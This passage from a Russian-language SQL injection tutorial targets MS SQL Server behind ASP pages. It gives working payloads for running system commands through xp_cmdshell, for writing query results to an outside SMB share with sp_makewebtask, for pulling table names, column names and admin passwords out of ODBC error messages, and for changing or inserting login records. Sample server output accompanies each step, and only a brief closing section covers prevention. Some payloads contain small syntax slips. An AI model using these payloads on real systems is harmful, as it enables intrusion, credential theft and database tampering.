4.0 Как можно удаленно выполнять команды, используя SQL injection?

Возможность вводить SQL команду обычно означает, что мы можем выполнять SQL запросы по желанию. Заданная по умолчанию инсталляция MS SQL Server выполняется с системными правами. Мы можем вызвать встроенные процедуры, типа master..xp_cmdshell, для удаленного выполнения произвольных команд:

"; exec master..xp_cmdshell "ping 10.10.1.2" --

Попробуйте использовать двойные кавычки ("), если (") не срабатывает.

Точка с запятой закончит текущий SQL запрос и позволит вам запускать новые SQL команды. Чтобы проверить, выполнена ли команда успешно, вы можете проверить ICMP пакеты в 10.10.1.2, присутствуют ли в них какие либо пакеты с уязвимого сервера:

http://сайт/?ID=31610

Если вы не получили никакой запрос утилиты ping от сервера, и получаете сообщение об ошибке, указывающее ошибку разрешения, возможно, что администратор ограничил доступ Web пользователя к сохраненным процедурам.

5.0 Как получить результаты моего SQL запроса?

Можно использовать sp_makewebtask, чтобы записать ваш запрос в HTML:

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

Указываемый IP должен иметь папку "share" с доступом для Everyone.

6.0 Как получить данные из базы данных, используя ODBC сообщение об ошибках?

Мы можем использовать информацию из сообщения об ошибке, произведенной SQL сервером, чтобы получить любые данные. Например, рассмотрим следующую страницу:

http://duck/index.asp?id=10

Теперь мы попробуем объединить целое ‘10’ с другой строкой в базе данных:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Системная таблица INFORMATION_SCHEMA.TABLES содержит информацию всех таблиц на сервере.

Поле TABLE_NAME очевидно содержит имя каждой таблицы в базе данных. Она была выбрана, потому что мы знаем, что она всегда существует. Наш запрос:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Этот запрос возвратит первое имя в базе данных. Когда мы UNION это строковое значение к целому 10, MS SQL Server попытается преобразовать строку nvarchar к integer. Это вызовет ошибку, которая сообщит, что не может преобразовать nvarchar к int. Сервер выдаст следующую ошибку:


Syntax error converting the nvarchar value "table1" to a column of data type int.
/index.asp, line 5

Сообщение об ошибке содержит информацию о значении, которое не может быть преобразовано в целое. В этом случае, мы получили имя первой таблицы - "table1".

Для получения следующего имени таблицы, мы можем использовать следующий запрос:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ("table1")--

Мы также можем искать данные, используя ключ LIKE:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE "%25login%25"--

Microsoft OLE DB Provider for ODBC Drivers error "80040e07" Syntax error converting the nvarchar value "admin_login" to a column of data type int. /index.asp, line 5

Соответствующая конструкция "%25login%25" будет заменена на %login% в SQL сервере. В этом случае, мы получим имя таблицы, которая соответствует критерию "admin_login".

6.1 Как узнать все имена столбцов в таблице?

Мы можем использовать таблицу INFORMATION_SCHEMA.COLUMNS, чтобы отобразить все имена столбцов в таблице:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login"-

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "login_id" to a column of data type int.
/index.asp, line 5

Теперь, когда мы узнали первое имя столбца, мы можем использовать NOT IN(), чтобы получить имя следующего столбца:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id")-

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "login_name" to a column of data type int.
/index.asp, line 5

Продолжая, мы получим остальные имена столбцов, т.е. "password", "details", пока не получим следующую ошибку.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id","login_name","password",details")--

Microsoft OLE DB Provider for ODBC Drivers error "80040e14"
ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

6.2. Как нам получить нужные нам данные?

Теперь, когда мы идентифицировали некоторые важные таблицы, мы можем использовать ту же самую методику, что бы получить информацию из базы данных.

Давайте получим первый login_name из таблицы "admin_login":

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "neo" to a column of data type int.
/index.asp, line 5

Теперь мы знаем, что есть admin пользователь с именем входа в систему "neo". Наконец, мы можем получить пароль "neo":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name="neo"--

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "m4trix" to a column of data type int.
/index.asp, line 5

Теперь мы сможем войти в систему как "neo" с паролем "m4trix".

6.3 Как получить числовое значение строки?

Есть ограничение в методе, описанном выше. Мы не сможем получить сообщение об ошибке, если мы попробуем преобразовать текст, который состоит из числа (только символы между 0...9). Сейчас мы опишем получение пароля "31173" у пользователя "trinity":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name="trinity"--

Мы вероятно получим ошибку "Page Not Found". Причина в том, что пароль "31173" будет преобразован в число, перед UNION с целым числом (в нашем случае 10). Так как получится правильное UNION выражение, SQL сервер не выдаст сообщение об ошибке, и таким образом мы не сможем получить числовую запись.

Чтобы решить эту проблему, мы можем добавить в конец числовую строку с некоторыми буквами, чтобы преобразование не прошло. Измененный запрос:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b"%20morpheus") FROM admin_login where login_name="trinity"--

Мы просто используем знак "плюс" (+) для того, чтобы добавить в конец пароль с любым текстом (ASSCII кодирование для "+" = 0x2b). Затем, мы добавим в конец "%20morpheus" в фактический пароль. Поэтому, даже если значение пароля "31173", он станет "31173 morpheus". Вручную вызывая функцию convert(), пытаясь преобразовать " 31173 morpheus" в целое число, SQL Сервер выдаст ODBC сообщение об ошибке:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "31173 morpheus" to a column of data type int.
/index.asp, line 5

Теперь мы сможем войти в систему как "trinity" с паролем "31173".

7.0 Как модифицировать/вставить данные в базу данных?

После того, как мы получили имена всех столбцом в таблице, мы сможем обновить(UPDATE) или даже вставить (INSERT) новую запись в таблицу. Например, мы можем изменить пароль для "neo":

http://duck/index.asp?id=10; UPDATE "admin_login" SET "password" = "newpas5" WHERE login_name="neo--

Чтобы внести (INSERT) новую запись в базу данных:

http://duck/index.asp?id=10; INSERT INTO "admin_login" ("login_id", "login_name", "password", "details") VALUES (666,"neo2","newpas5","NA")--

Теперь мы сможем войти в систему как "neo" с паролем "newpas5".

8.0 Как избежать SQL Injection?

Фильтруйте специальные символы во всех строках в:

Любых данных, вводимых пользователем
- URL параметрах
- Cookie

Для числовых значений, конвертируйте их к integer, перед передачей их к SQL запросу. Или используйте ISNUMERIC, чтобы удостовериться это целое число.

Запускайте SQL сервер как непривилегированный пользователь.

Удалите неиспользуемые сохраненные процедуры: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask